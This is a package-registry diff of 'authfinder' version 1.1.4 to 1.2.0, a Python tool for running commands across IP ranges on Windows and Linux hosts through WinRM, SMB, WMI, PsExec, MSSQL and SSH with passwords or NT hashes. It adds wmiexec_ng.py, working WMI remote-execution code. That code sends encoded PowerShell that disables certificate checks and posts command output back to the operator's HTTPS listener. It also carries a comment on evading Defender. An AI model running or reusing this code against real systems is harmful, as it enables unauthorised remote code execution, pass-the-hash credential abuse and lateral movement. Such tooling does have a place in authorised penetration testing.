authfinder 1.1.4__tar.gz → 1.2.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: authfinder
3
- Version: 1.1.4
3
+ Version: 1.2.0
4
4
  Summary: Execute commands across Windows and Linux systems using multiple RCE methods (WinRM, SMB, WMI, RDP, SSH, MSSQL)
5
5
  Author: Khael
6
6
  Project-URL: Homepage, https://github.com/KhaelK138/authfinder
@@ -74,13 +74,13 @@ gem install evil-winrm
74
74
 
75
75
  ```bash
76
76
  # Execute command on single host
77
- authfinder 192.168.1.10 administrator Password123 whoami
77
+ authfinder 192.168.1.10 -u administrator -p Password123 -c whoami
78
78
 
79
79
  # Execute across IP range of 192.168.1.1 to 192.168.1.50
80
- authfinder 192.168.1.1-50 admin Pass123 "net user"
80
+ authfinder 192.168.1.1-50 -u admin -p Pass123 -c 'net user'
81
81
 
82
82
  # Use nthash instead of password
83
- authfinder 10.0.0.1-10 admin :{32-bit-hash} whoami
83
+ authfinder 10.0.0.1-10 -u admin -p :{32-bit-hash} whoami
84
84
  ```
85
85
 
86
86
  ### IP Range Format
@@ -46,13 +46,13 @@ gem install evil-winrm
46
46
 
47
47
  ```bash
48
48
  # Execute command on single host
49
- authfinder 192.168.1.10 administrator Password123 whoami
49
+ authfinder 192.168.1.10 -u administrator -p Password123 -c whoami
50
50
 
51
51
  # Execute across IP range of 192.168.1.1 to 192.168.1.50
52
- authfinder 192.168.1.1-50 admin Pass123 "net user"
52
+ authfinder 192.168.1.1-50 -u admin -p Pass123 -c 'net user'
53
53
 
54
54
  # Use nthash instead of password
55
- authfinder 10.0.0.1-10 admin :{32-bit-hash} whoami
55
+ authfinder 10.0.0.1-10 -u admin -p :{32-bit-hash} whoami
56
56
  ```
57
57
 
58
58
  ### IP Range Format
@@ -1,3 +1,3 @@
1
1
  """authfinder: Execute commands across Windows and Linux systems using multiple RCE methods"""
2
2
 
3
- __version__ = "1.1.4"
3
+ __version__ = "1.2.0"
@@ -22,7 +22,7 @@ TOOLS_SPECIFIED = False
22
22
  LINUX_MODE = False
23
23
 
24
24
  VALID_TOOLS = ["winrm", "smbexec", "wmi", "ssh", "mssql", "psexec", "atexec", "rdp"]
25
- NXC_TOOLS = {"smbexec", "wmi", "ssh", "rdp"}
25
+ NXC_TOOLS = {"smbexec", "ssh", "rdp"}
26
26
 
27
27
  IMPACKET_PREFIX = "impacket-" # or "" for .py suffix
28
28
  NXC_CMD = "nxc"
@@ -73,7 +73,8 @@ def parse_ip_range(ip_range):
73
73
  for d in expanded[3]]
74
74
 
75
75
  def is_nthash(credential):
76
- cred = credential.lstrip(':').replace("'", "")
76
+ """Check if a credential is an NT hash (32 hex characters)."""
77
+ cred = credential.lstrip(':').replace("'", "").strip()
77
78
  if len(cred) == 32:
78
79
  try:
79
80
  int(cred, 16)
@@ -87,13 +88,13 @@ def load_credential_file(path):
87
88
  """
88
89
  Load credentials from file with newline-separated format:
89
90
  <user1>
90
- <user1_password>
91
+ <user1_password_or_hash>
91
92
  <user2>
92
- <user2_password>
93
+ <user2_password_or_hash>
93
94
  ...
94
95
 
95
96
  Blank lines and lines starting with # are ignored.
96
- For hashes, use the hash directly as the password line.
97
+ Automatically detects if each credential is a hash or password.
97
98
  """
98
99
  try:
99
100
  with open(path, "r", encoding="utf-8") as f:
@@ -115,7 +116,8 @@ def load_credential_file(path):
115
116
  for i in range(0, len(filtered), 2):
116
117
  user = filtered[i].strip()
117
118
  cred = filtered[i + 1]
118
- creds.append((user, cred))
119
+ is_hash = is_nthash(cred)
120
+ creds.append((user, cred, is_hash))
119
121
 
120
122
  return creds
121
123
 
@@ -183,9 +185,8 @@ def scan_ports_for_tools(ip, tool_list):
183
185
 
184
186
  return viable_tools, open_ports
185
187
 
186
- def build_cmd(tool, user, target, credential, command):
188
+ def build_cmd(tool, user, target, credential, command, use_hash=False):
187
189
  b64 = base64.b64encode(command.encode("utf-16le")).decode()
188
- use_hash = is_nthash(credential)
189
190
  hash_val = credential.lstrip(':')
190
191
 
191
192
  # For nxc tools, add --no-output unless -o was passed
@@ -209,6 +210,13 @@ def build_cmd(tool, user, target, credential, command):
209
210
  return (f"{cmd} -hashes :{hash_val} \"{user}\"@{target} 'powershell -enc {b64}'"
210
211
  if use_hash else
211
212
  f"{cmd} \"{user}\":{credential}@{target} 'powershell -enc {b64}'")
213
+
214
+ if tool == "wmi":
215
+ # Use wmiexec-ng for WMI execution (uses HTTPS callback for output retrieval)
216
+ output_flag = " -o" if OUTPUT else ""
217
+ return (f"wmiexec-ng {target} -u \"{user}\" -H {hash_val} -x 'powershell -enc {b64}'{output_flag}"
218
+ if use_hash else
219
+ f"wmiexec-ng {target} -u \"{user}\" -p {credential} -x 'powershell -enc {b64}'{output_flag}")
212
220
 
213
221
  # winrm handling - both regular and SSL variants
214
222
  # yes I know nxc has a winrm module which can oneshot commands, but evil-winrm has proved itself more dependable
@@ -228,13 +236,6 @@ def build_cmd(tool, user, target, credential, command):
228
236
  if use_hash else
229
237
  f"{NXC_CMD} smb {target} -p {credential} -u \"{user}\" -X 'powershell -enc {b64}' --exec-method smbexec{nxc_output_flag}")
230
238
 
231
- if tool == "wmi":
232
- # we don't actually need to pass the --no-output here, as defender won't catch it with this specific `cmd /c "powershell -enc` combo
233
- # additionally, adding --no-output makes it very difficult to differentiate between command execution and a successful authentication w/o execution for wmi specifically
234
- return (f"{NXC_CMD} wmi {target} -H {hash_val} -u \"{user}\" -X 'cmd /c \"powershell -enc {b64}\"'"
235
- if use_hash else
236
- f"{NXC_CMD} wmi {target} -p {credential} -u \"{user}\" -X 'cmd /c \"powershell -enc {b64}\"'")
237
-
238
239
  if tool == "ssh":
239
240
  if LINUX_MODE:
240
241
  b64 = base64.b64encode(command.encode("utf-8")).decode()
@@ -248,7 +249,7 @@ def build_cmd(tool, user, target, credential, command):
248
249
 
249
250
  raise Exception(f"Unknown tool: {tool}")
250
251
 
251
- def run_chain(user, ip, credential, command, tool_list=None):
252
+ def run_chain(user, ip, credential, command, use_hash=False, tool_list=None):
252
253
  chain = tool_list if tool_list else VALID_TOOLS
253
254
 
254
255
  # test both winrm types
@@ -263,7 +264,7 @@ def run_chain(user, ip, credential, command, tool_list=None):
263
264
 
264
265
  for tool in chain:
265
266
  # Can't pass the hash with SSH
266
- if tool == "ssh" and is_nthash(credential):
267
+ if tool == "ssh" and use_hash:
267
268
  safe_print(f" [-] Skipping SSH for {ip}: cannot pass the hash.")
268
269
  continue
269
270
 
@@ -274,7 +275,7 @@ def run_chain(user, ip, credential, command, tool_list=None):
274
275
  if tool == "mssql":
275
276
  safe_print(f"[*] Attempting to enable xp_cmdshell on {ip}...")
276
277
 
277
- cmd = build_cmd(tool, user, ip, credential, command)
278
+ cmd = build_cmd(tool, user, ip, credential, command, use_hash)
278
279
  safe_print(f"[*] Trying {tool}: {cmd}")
279
280
 
280
281
  try:
@@ -364,7 +365,7 @@ def run_chain(user, ip, credential, command, tool_list=None):
364
365
 
365
366
  return None
366
367
 
367
- def execute_on_ip(username, ip, credential, command, tool_list=None):
368
+ def execute_on_ip(username, ip, credential, command, use_hash=False, tool_list=None):
368
369
 
369
370
  if SKIP_PORTSCAN:
370
371
  safe_print(f"[*] Skipping portscan for {ip} (--skip-portscan enabled)")
@@ -384,7 +385,7 @@ def execute_on_ip(username, ip, credential, command, tool_list=None):
384
385
  display_tools = list(dict.fromkeys(display_tools))
385
386
  safe_print(f" \033[34m[i]\033[0m Viable tools found for {ip} based on portscan: {', '.join(display_tools)}")
386
387
 
387
- result = run_chain(username, ip, credential, command, viable_tools)
388
+ result = run_chain(username, ip, credential, command, use_hash, viable_tools)
388
389
 
389
390
  if RUN_ALL:
390
391
  safe_print(f"[*] All tools successfully run for {ip} with {username}.")
@@ -406,32 +407,38 @@ def parse_args():
406
407
  parser = argparse.ArgumentParser(
407
408
  description="Execute commands across an IP range using multiple Windows RCE methods",
408
409
  formatter_class=argparse.RawTextHelpFormatter,
409
- usage="%(prog)s ip_range username credential command [-h] [-v] [-o] [--threads NUM_THREADS] [--timeout TIMEOUT_SECONDS] [--tools LIST] [--run-all] [--skip-portscan] [-f CRED_FILE]"
410
+ usage="%(prog)s ip_range -u USER -p PASS [-c PSCMD] [-h] [-v] [-o] [--threads NUM_THREADS] [--timeout SECONDS] [--tools LIST] [--run-all] [--skip-portscan]\n %(prog)s ip_range -u USER -H HASH [-c PSCMD] [...]\n %(prog)s ip_range -f CRED_FILE [-c PSCMD] [...]"
410
411
  )
411
412
 
412
413
  parser.add_argument("-v", action="store_true", help="Verbose output")
413
414
  parser.add_argument("-o", action="store_true", help="Show successful command output")
414
- parser.add_argument("--threads", metavar="NUM_THREADS", type=int, default=10, help="Number of concurrent threads")
415
+ parser.add_argument("--threads", metavar="NUM_THREADS", type=int, default=None, help="Number of concurrent threads (default: 10, or fewer if less tasks)")
415
416
  parser.add_argument("--timeout", metavar="TIMEOUT_SECONDS", type=int, default=15, help="Number of seconds before commands timeout")
416
417
  parser.add_argument("--tools", metavar="LIST", help="Comma-separated list of tools to try")
417
418
  parser.add_argument("--run-all", action="store_true", help="Run all tools, often running the desired command multiple times")
418
419
  parser.add_argument("--skip-portscan", action="store_true", help="Skip port scanning and attempt all tools")
419
- parser.add_argument("-f", "--file", metavar="CRED_FILE", help="Credential file (newline-separated user/password pairs)")
420
+ parser.add_argument("-f", "--file", metavar="CRED_FILE", help="Credential file (newline-separated user/password or user/hash pairs; hashes auto-detected)")
420
421
 
421
422
  parser.add_argument("--linux", action="store_true", help="Linux-only mode - automates SSH, ignores other tools")
422
423
 
423
424
  parser.add_argument("ip_range", help="IP range (e.g., 192.168.1.1-254)")
424
- parser.add_argument("username", nargs="?", help="Username")
425
- parser.add_argument("credential", nargs="?", help="Password or NT hash")
426
- parser.add_argument("command", nargs="*", help="Command to run (default: whoami)")
425
+ parser.add_argument("-u", "--user", metavar="USERNAME", help="Username")
426
+ parser.add_argument("-p", "--password", metavar="PASSWORD", help="Password")
427
+ parser.add_argument("-H", "--hash", metavar="HASH", help="NT hash")
428
+ parser.add_argument("-c", "--command", metavar="PSCMD", help="Powershell command to run (default: whoami)")
427
429
 
428
430
  args = parser.parse_args()
429
431
 
430
- if args.file and (args.username or args.credential):
431
- parser.error("Cannot specify username/password when using -f")
432
+ if args.file and (args.user or args.password or args.hash):
433
+ parser.error("Cannot specify -u/-p/-H when using -f")
432
434
 
433
- if not args.file and (not args.username or not args.credential):
434
- parser.error("Must supply either -f FILE or username and credential")
435
+ if not args.file:
436
+ if not args.user:
437
+ parser.error("Must supply either -f FILE or -u USER")
438
+ if not args.password and not args.hash:
439
+ parser.error("Must supply either -p PASSWORD or -H HASH with -u USER")
440
+ if args.password and args.hash:
441
+ parser.error("Cannot specify both -p and -H")
435
442
 
436
443
  return args
437
444
 
@@ -441,6 +448,8 @@ def check_dependencies():
441
448
  """Check if required tools are installed."""
442
449
  global IMPACKET_PREFIX, NXC_CMD, WINRM_CMD
443
450
 
451
+ missing_tools = []
452
+
444
453
  # Check impacket (either impacket-psexec or psexec.py)
445
454
  r1 = shutil.which("impacket-psexec")
446
455
  r2 = shutil.which("psexec.py")
@@ -448,9 +457,8 @@ def check_dependencies():
448
457
  IMPACKET_PREFIX = "impacket-"
449
458
  elif r2:
450
459
  IMPACKET_PREFIX = ""
451
- elif not LINUX_MODE:
452
- print("[-] impacket not found. Install with: pipx install impacket")
453
- sys.exit(1)
460
+ else:
461
+ missing_tools.append("impacket")
454
462
 
455
463
  # Check nxc/crackmapexec
456
464
  r1 = shutil.which("nxc")
@@ -463,20 +471,27 @@ def check_dependencies():
463
471
  elif r3:
464
472
  NXC_CMD = "crackmapexec"
465
473
  else:
466
- print("[-] netexec not found. Install with: pipx install git+https://github.com/Pennyw0rth/NetExec")
467
- sys.exit(1)
474
+ missing_tools.append("nxc")
468
475
 
469
476
  # Check evil-winrm
470
477
  if shutil.which("evil-winrm"):
471
478
  WINRM_CMD = "evil-winrm"
472
- else:
479
+ elif os.path.isdir("/usr/local/rvm/gems"):
473
480
  # default in exegol
474
- base = "/usr/local/rvm/gems"
475
- for d in os.listdir(base):
481
+ for d in os.listdir("/usr/local/rvm/gems"):
476
482
  if d.endswith("@evil-winrm"):
477
- WINRM_CMD = f"{base}/{d}/wrappers/evil-winrm"
478
- if not WINRM_CMD and not LINUX_MODE:
479
- print("[-] evil-winrm not found. Please install with gem install evil-winrm")
483
+ WINRM_CMD = f"/usr/local/rvm/gems/{d}/wrappers/evil-winrm"
484
+ else:
485
+ missing_tools.append("evil-winrm")
486
+
487
+ if not missing_tools == []:
488
+ for tool in missing_tools:
489
+ if tool == "nxc":
490
+ print("[-] netexec not found. Install with: pipx install git+https://github.com/Pennyw0rth/NetExec")
491
+ if tool == "impacket" and not LINUX_MODE:
492
+ print("[-] impacket not found. Install with: pipx install impacket")
493
+ if tool == "evil-winrm" and not LINUX_MODE:
494
+ print("[-] evil-winrm not found. Please install with gem install evil-winrm")
480
495
  sys.exit(1)
481
496
 
482
497
  def impacket_cmd(tool):
@@ -488,22 +503,26 @@ def impacket_cmd(tool):
488
503
  def main():
489
504
  global VERBOSE, OUTPUT, MAX_THREADS, EXEC_TIMEOUT, RUN_ALL, SKIP_PORTSCAN, TOOLS_SPECIFIED, LINUX_MODE
490
505
 
491
- check_dependencies()
492
-
493
506
  args = parse_args()
494
507
 
495
508
  VERBOSE = args.v
496
509
  OUTPUT = args.o
497
- MAX_THREADS = args.threads if args.threads > 0 else 1
498
510
  EXEC_TIMEOUT = args.timeout
499
511
  RUN_ALL = args.run_all
500
512
  SKIP_PORTSCAN = args.skip_portscan
501
513
  LINUX_MODE = args.linux
502
514
 
515
+ check_dependencies()
516
+
517
+ # Determine credentials
503
518
  if args.file:
519
+ # Auto-detect hashes in credential file
504
520
  credential_list = load_credential_file(args.file)
505
521
  else:
506
- credential_list = [(args.username, args.credential)]
522
+ if args.hash:
523
+ credential_list = [(args.user, args.hash, True)]
524
+ else:
525
+ credential_list = [(args.user, args.password, False)]
507
526
 
508
527
  if args.ip_range.endswith('.txt'):
509
528
  ips = []
@@ -515,8 +534,10 @@ def main():
515
534
  else:
516
535
  ips = parse_ip_range(args.ip_range)
517
536
 
518
- if len(ips) < MAX_THREADS and not args.threads:
519
- MAX_THREADS = len(ips)
537
+ if args.threads is not None:
538
+ MAX_THREADS = max(args.threads, 1)
539
+ else:
540
+ MAX_THREADS = min(10, len(ips))
520
541
 
521
542
  print(f"[*] Loaded {len(credential_list)} credential set(s)")
522
543
  print(f"[*] Processing {len(ips)} IPs with {MAX_THREADS} threads...")
@@ -536,7 +557,7 @@ def main():
536
557
  if args.skip_portscan:
537
558
  print("\033[33m[!] Port scanning disabled (--skip-portscan). All tools will be attempted.\033[0m")
538
559
 
539
- command = " ".join(args.command) if args.command else "whoami"
560
+ command = args.command if args.command else "whoami"
540
561
 
541
562
  if not OUTPUT:
542
563
  print("\033[33m[!] Output Disabled. Run with -o to see successful command output\033[0m")
@@ -548,10 +569,10 @@ def main():
548
569
  futures = []
549
570
  with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
550
571
  for ip in ips:
551
- for (user, cred) in credential_list:
572
+ for (user, cred, is_hash) in credential_list:
552
573
  cred = shlex.quote(cred)
553
574
  futures.append(
554
- executor.submit(execute_on_ip, user, ip, cred, command, tool_list)
575
+ executor.submit(execute_on_ip, user, ip, cred, command, is_hash, tool_list)
555
576
  )
556
577
 
557
578
  for future in as_completed(futures):
@@ -0,0 +1,319 @@
1
+ #!/usr/bin/env python3
2
+ """
3
+ WMI process execution with HTTPS-based output retrieval.
4
+ Requires: pip install impacket
5
+ """
6
+
7
+ import sys
8
+ import os
9
+ import ssl
10
+ import uuid
11
+ import socket
12
+ import random
13
+ import argparse
14
+ import tempfile
15
+ import threading
16
+ import subprocess
17
+ from http.server import HTTPServer, BaseHTTPRequestHandler
18
+ from impacket.dcerpc.v5.dcom import wmi
19
+ from impacket.dcerpc.v5.dcomrt import DCOMConnection
20
+ from impacket.dcerpc.v5.dtypes import NULL
21
+
22
+
23
+ # Globals for server coordination
24
+ output_received = threading.Event()
25
+ output_data = b""
26
+ verbose = False
27
+
28
+
29
+ def log(msg: str):
30
+ """Print message only if verbose mode is enabled."""
31
+ if verbose:
32
+ print(msg)
33
+
34
+
35
+ def get_local_ip(target: str) -> str:
36
+ """Get the local IP address used to reach a target."""
37
+ try:
38
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
39
+ s.connect((target, 80))
40
+ local_ip = s.getsockname()[0]
41
+ s.close()
42
+ return local_ip
43
+ except Exception:
44
+ return "127.0.0.1"
45
+
46
+
47
+ def find_available_port(start: int = 10000, end: int = 30000) -> int:
48
+ """Find an available port in the given range, retrying every second."""
49
+ while True:
50
+ port = random.randint(start, end)
51
+ try:
52
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
53
+ s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
54
+ s.bind(("0.0.0.0", port))
55
+ s.close()
56
+ log(f"[*] Found available port: {port}")
57
+ return port
58
+ except OSError:
59
+ log(f"[*] Port {port} unavailable, retrying...")
60
+ import time
61
+ time.sleep(1)
62
+
63
+
64
+ def generate_ssl_cert(cert_file: str, key_file: str):
65
+ """Generate a self-signed SSL certificate using openssl."""
66
+ log("[*] Generating SSL certificate...")
67
+ cmd = [
68
+ "openssl", "req", "-x509", "-newkey", "rsa:2048",
69
+ "-keyout", key_file,
70
+ "-out", cert_file,
71
+ "-days", "1", "-nodes",
72
+ "-subj", "/CN=localhost"
73
+ ]
74
+ try:
75
+ subprocess.check_call(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
76
+ log("[*] SSL certificate generated")
77
+ except subprocess.CalledProcessError:
78
+ print("[!] Failed to generate SSL certificate (is openssl installed?)")
79
+ sys.exit(1)
80
+
81
+
82
+ class OutputHandler(BaseHTTPRequestHandler):
83
+ """HTTP handler for receiving command output via POST."""
84
+
85
+ def do_POST(self):
86
+ global output_data
87
+ try:
88
+ content_length = int(self.headers.get("Content-Length", 0))
89
+ output_data = self.rfile.read(content_length)
90
+ self.send_response(200)
91
+ self.end_headers()
92
+ self.wfile.write(b"OK")
93
+ output_received.set()
94
+ except Exception as e:
95
+ log(f"[!] Error receiving output: {e}")
96
+ self.send_response(500)
97
+ self.end_headers()
98
+
99
+ def log_message(self, format, *args):
100
+ if verbose:
101
+ super().log_message(format, *args)
102
+
103
+
104
+ def start_https_server(port: int, cert_file: str, key_file: str) -> HTTPServer:
105
+ """Start HTTPS server for receiving output."""
106
+ server = HTTPServer(("0.0.0.0", port), OutputHandler)
107
+ context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
108
+ context.load_cert_chain(cert_file, key_file)
109
+ server.socket = context.wrap_socket(server.socket, server_side=True)
110
+ return server
111
+
112
+
113
+ def build_powershell_command(command: str, output_file: str, server_url: str) -> str:
114
+ """Build the PowerShell script that executes command and uploads output."""
115
+ import base64
116
+
117
+ # Base64 encode the user's command (UTF-16LE for PowerShell -enc)
118
+ user_cmd_encoded = base64.b64encode(command.encode("utf-16-le")).decode("ascii")
119
+
120
+ # PowerShell script with TLS cert bypass
121
+ # Executes user command via -enc, captures output, uploads via HTTPS
122
+ ps_script = f'''
123
+ [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
124
+ Add-Type @"
125
+ using System.Net;
126
+ using System.Security.Cryptography.X509Certificates;
127
+ public class TrustAllCertsPolicy : ICertificatePolicy {{
128
+ public bool CheckValidationResult(
129
+ ServicePoint srvPoint, X509Certificate certificate,
130
+ WebRequest request, int certificateProblem) {{
131
+ return true;
132
+ }}
133
+ }}
134
+ "@
135
+ [System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
136
+
137
+ powershell.exe -enc {user_cmd_encoded} | Out-File -FilePath "{output_file}" -Encoding UTF8
138
+ $bytes = [System.IO.File]::ReadAllBytes("{output_file}")
139
+ Invoke-WebRequest -Uri "{server_url}" -Method POST -Body $bytes -UseBasicParsing | Out-Null
140
+ Remove-Item -Path "{output_file}" -Force
141
+ '''
142
+ # Encode wrapper script as base64 for safe transport
143
+ encoded = base64.b64encode(ps_script.encode("utf-16-le")).decode("ascii")
144
+ return f'powershell.exe -EncodedCommand {encoded}'
145
+
146
+
147
+ def wmi_exec(target: str, username: str, password: str, command: str,
148
+ domain: str = "", hashes: str = "", get_output: bool = False,
149
+ timeout: int = 30) -> str | None:
150
+ """
151
+ Execute a command via WMI.
152
+
153
+ Args:
154
+ target: Target IP or hostname
155
+ username: Username for authentication
156
+ password: Password for authentication
157
+ command: Command to execute
158
+ domain: Domain (optional)
159
+ hashes: NTLM hashes in LMHASH:NTHASH format (optional, for pass-the-hash)
160
+ get_output: Whether to retrieve command output via HTTPS
161
+ timeout: Timeout in seconds for output retrieval
162
+
163
+ Returns:
164
+ Command output if get_output=True, None otherwise
165
+ """
166
+ global output_data, output_received
167
+
168
+ # Parse hashes if provided
169
+ lmhash = ""
170
+ nthash = ""
171
+ if hashes:
172
+ if ":" in hashes:
173
+ lmhash, nthash = hashes.split(":", 1)
174
+ else:
175
+ # Assume it's just the NT hash
176
+ nthash = hashes
177
+
178
+ # Reset globals
179
+ output_data = b""
180
+ output_received.clear()
181
+
182
+ server = None
183
+ server_thread = None
184
+ temp_dir = None
185
+
186
+ try:
187
+ if get_output:
188
+ # Setup HTTPS server for output retrieval
189
+ temp_dir = tempfile.mkdtemp()
190
+ cert_file = os.path.join(temp_dir, "cert.pem")
191
+ key_file = os.path.join(temp_dir, "key.pem")
192
+
193
+ generate_ssl_cert(cert_file, key_file)
194
+
195
+ port = find_available_port()
196
+ local_ip = get_local_ip(target)
197
+ server_url = f"https://{local_ip}:{port}/"
198
+
199
+ log(f"[*] Starting HTTPS server on {local_ip}:{port}")
200
+ server = start_https_server(port, cert_file, key_file)
201
+
202
+ # Run server in background thread
203
+ server_thread = threading.Thread(target=server.handle_request, daemon=True)
204
+ server_thread.start()
205
+
206
+ # Build PowerShell command with output upload
207
+ output_file = f"C:\\Windows\\Temp\\{uuid.uuid4()}.txt"
208
+ full_command = build_powershell_command(command, output_file, server_url)
209
+ log(f"[*] Output will be uploaded to {server_url}")
210
+ else:
211
+ full_command = command
212
+
213
+ # Connect via DCOM
214
+ log(f"[*] Connecting to {target}...")
215
+ dcom = DCOMConnection(target, username, password, domain, lmhash, nthash)
216
+
217
+ try:
218
+ # Get WMI interface
219
+ iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
220
+ iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
221
+
222
+ # Login to namespace
223
+ iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
224
+ iWbemLevel1Login.RemRelease()
225
+
226
+ # Get Win32_Process class
227
+ win32_process, _ = iWbemServices.GetObject("Win32_Process")
228
+
229
+ # Call Create method
230
+ log(f"[*] Executing command...")
231
+ win32_process.Create(full_command, "C:\\", None)
232
+
233
+ if not get_output:
234
+ print(f"[+] Executed: {command}")
235
+ return None
236
+
237
+ finally:
238
+ dcom.disconnect()
239
+
240
+ # Wait for output
241
+ if get_output:
242
+ log(f"[*] Waiting for output (timeout: {timeout}s)...")
243
+ if output_received.wait(timeout=timeout):
244
+ result = output_data.decode("utf-8", errors="replace")
245
+ # Strip BOM and whitespace
246
+ result = result.lstrip("\ufeff").strip()
247
+ print(result)
248
+ return result
249
+ else:
250
+ print("[!] Timeout waiting for output")
251
+ return None
252
+
253
+ finally:
254
+ # Cleanup
255
+ if server:
256
+ server.server_close()
257
+ if temp_dir:
258
+ import shutil
259
+ shutil.rmtree(temp_dir, ignore_errors=True)
260
+
261
+
262
+ def main():
263
+ global verbose
264
+
265
+ parser = argparse.ArgumentParser(
266
+ description="WMI remote command execution with optional output retrieval",
267
+ formatter_class=argparse.RawDescriptionHelpFormatter,
268
+ epilog="""
269
+ Examples:
270
+ # Execute with password
271
+ %(prog)s 192.168.1.10 -u Administrator -p 'password' -x 'whoami' -o
272
+
273
+ # Pass-the-hash
274
+ %(prog)s 192.168.1.10 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -x 'whoami' -o
275
+
276
+ # Blank password (if neither -p nor -H supplied)
277
+ %(prog)s 192.168.1.10 -u Administrator -x 'whoami' -o
278
+
279
+ # With domain
280
+ %(prog)s 192.168.1.10 -u Administrator -p 'password' -d MYDOMAIN -x 'whoami' -o
281
+ """
282
+ )
283
+
284
+ parser.add_argument("target", help="Target IP or hostname")
285
+ parser.add_argument("-u", "--username", required=True, help="Username")
286
+ parser.add_argument("-p", "--password", default="", help="Password")
287
+ parser.add_argument("-H", "--hashes", metavar="[LMHASH:]NTHASH",
288
+ help="NTLM hashes for pass-the-hash")
289
+ parser.add_argument("-d", "--domain", default="", help="Domain")
290
+ parser.add_argument("-x", "--execute", required=True, metavar="CMD",
291
+ help="Command to execute")
292
+ parser.add_argument("-o", "--output", action="store_true",
293
+ help="Retrieve command output via HTTPS callback")
294
+ parser.add_argument("-t", "--timeout", type=int, default=30,
295
+ help="Timeout for output retrieval (default: 30s)")
296
+ parser.add_argument("-v", "--verbose", action="store_true",
297
+ help="Show verbose output (HTTPS server activity, etc.)")
298
+
299
+ args = parser.parse_args()
300
+ verbose = args.verbose
301
+
302
+ # Use blank password if neither -p nor -H supplied
303
+ password = args.password
304
+ hashes = args.hashes or ""
305
+
306
+ wmi_exec(
307
+ target=args.target,
308
+ username=args.username,
309
+ password=password,
310
+ command=args.execute,
311
+ domain=args.domain,
312
+ hashes=hashes,
313
+ get_output=args.output,
314
+ timeout=args.timeout
315
+ )
316
+
317
+
318
+ if __name__ == "__main__":
319
+ main()
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: authfinder
3
- Version: 1.1.4
3
+ Version: 1.2.0
4
4
  Summary: Execute commands across Windows and Linux systems using multiple RCE methods (WinRM, SMB, WMI, RDP, SSH, MSSQL)
5
5
  Author: Khael
6
6
  Project-URL: Homepage, https://github.com/KhaelK138/authfinder
@@ -74,13 +74,13 @@ gem install evil-winrm
74
74
 
75
75
  ```bash
76
76
  # Execute command on single host
77
- authfinder 192.168.1.10 administrator Password123 whoami
77
+ authfinder 192.168.1.10 -u administrator -p Password123 -c whoami
78
78
 
79
79
  # Execute across IP range of 192.168.1.1 to 192.168.1.50
80
- authfinder 192.168.1.1-50 admin Pass123 "net user"
80
+ authfinder 192.168.1.1-50 -u admin -p Pass123 -c 'net user'
81
81
 
82
82
  # Use nthash instead of password
83
- authfinder 10.0.0.1-10 admin :{32-bit-hash} whoami
83
+ authfinder 10.0.0.1-10 -u admin -p :{32-bit-hash} whoami
84
84
  ```
85
85
 
86
86
  ### IP Range Format
@@ -3,6 +3,7 @@ README.md
3
3
  pyproject.toml
4
4
  authfinder/__init__.py
5
5
  authfinder/authfinder.py
6
+ authfinder/wmiexec_ng.py
6
7
  authfinder.egg-info/PKG-INFO
7
8
  authfinder.egg-info/SOURCES.txt
8
9
  authfinder.egg-info/dependency_links.txt
@@ -1,2 +1,3 @@
1
1
  [console_scripts]
2
2
  authfinder = authfinder.authfinder:main
3
+ wmiexec-ng = authfinder.wmiexec_ng:main
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
4
4
 
5
5
  [project]
6
6
  name = "authfinder"
7
- version = "1.1.4"
7
+ version = "1.2.0"
8
8
  description = "Execute commands across Windows and Linux systems using multiple RCE methods (WinRM, SMB, WMI, RDP, SSH, MSSQL)"
9
9
  readme = "README.md"
10
10
  authors = [
@@ -35,6 +35,7 @@ dev = [
35
35
 
36
36
  [project.scripts]
37
37
  authfinder = "authfinder.authfinder:main"
38
+ wmiexec-ng = "authfinder.wmiexec_ng:main"
38
39
 
39
40
  [project.urls]
40
41
  Homepage = "https://github.com/KhaelK138/authfinder"
File without changes
File without changes